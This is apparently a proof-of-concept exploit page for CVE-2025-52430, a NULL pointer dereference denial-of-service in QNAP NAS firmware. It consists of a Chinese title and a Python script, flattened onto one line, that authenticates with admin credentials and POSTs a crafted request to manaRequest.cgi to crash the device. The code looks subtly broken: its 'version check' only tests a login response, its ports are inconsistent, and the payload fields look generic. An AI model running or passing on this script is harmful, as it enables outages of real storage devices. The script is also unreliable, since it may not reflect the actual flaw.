CVE-2025-52430 QNAP NAS NULL指针解引用拒绝服务漏洞

# CVE-2025-52430 NULL Pointer Dereference PoC # Target: QNAP NAS running vulnerable QTS/QuTS hero versions # Requires: Valid administrator credentials # Usage: python cve-2025-52430-poc.py <target_ip> <username> <password> import requests import sys import base64 def create_auth_header(username, password): """Create Basic Auth header""" credentials = base64.b64encode(f'{username}:{password}'.encode()).decode() return {'Authorization': f'Basic {credentials}'} def check_version(target_ip, auth_headers): """Check if target is running vulnerable version""" try: response = requests.get( f'https://{target_ip}:8080/cgi-bin/authLogin.cgi', headers=auth_headers, verify=False, timeout=10 ) return response.status_code == 200 except: return False def exploit_null_pointer_deref(target_ip, auth_headers): """Trigger NULL pointer dereference vulnerability""" # Specific payload to trigger the vulnerability exploit_path = '/cgi-bin/management/manaRequest.cgi' exploit_data = { 'func': 'sys_info', 'subfunc': 'network', 'event': 'null_trigger' } try: response = requests.post( f'https://{target_ip}:443{exploit_path}', headers=auth_headers, data=exploit_data, verify=False, timeout=10 ) return response.status_code except requests.exceptions.RequestException as e: return f'Exploit sent - Service may be down: {e}' def main(): if len(sys.argv) != 4: print('Usage: python cve-2025-52430-poc.py <target_ip> <username> <password>') sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print(f'[*] Targeting QNAP NAS: {target}') print(f'[*] Authenticating as: {username}') auth_headers = create_auth_header(username, password) if check_version(target, auth_headers): print('[+] Authentication successful') print('[*] Sending exploit payload...') result = exploit_null_pointer_deref(target, auth_headers) print(f'[*] Exploit result: {result}') else: print('[-] Authentication failed or target unreachable') if __name__ == '__main__': main()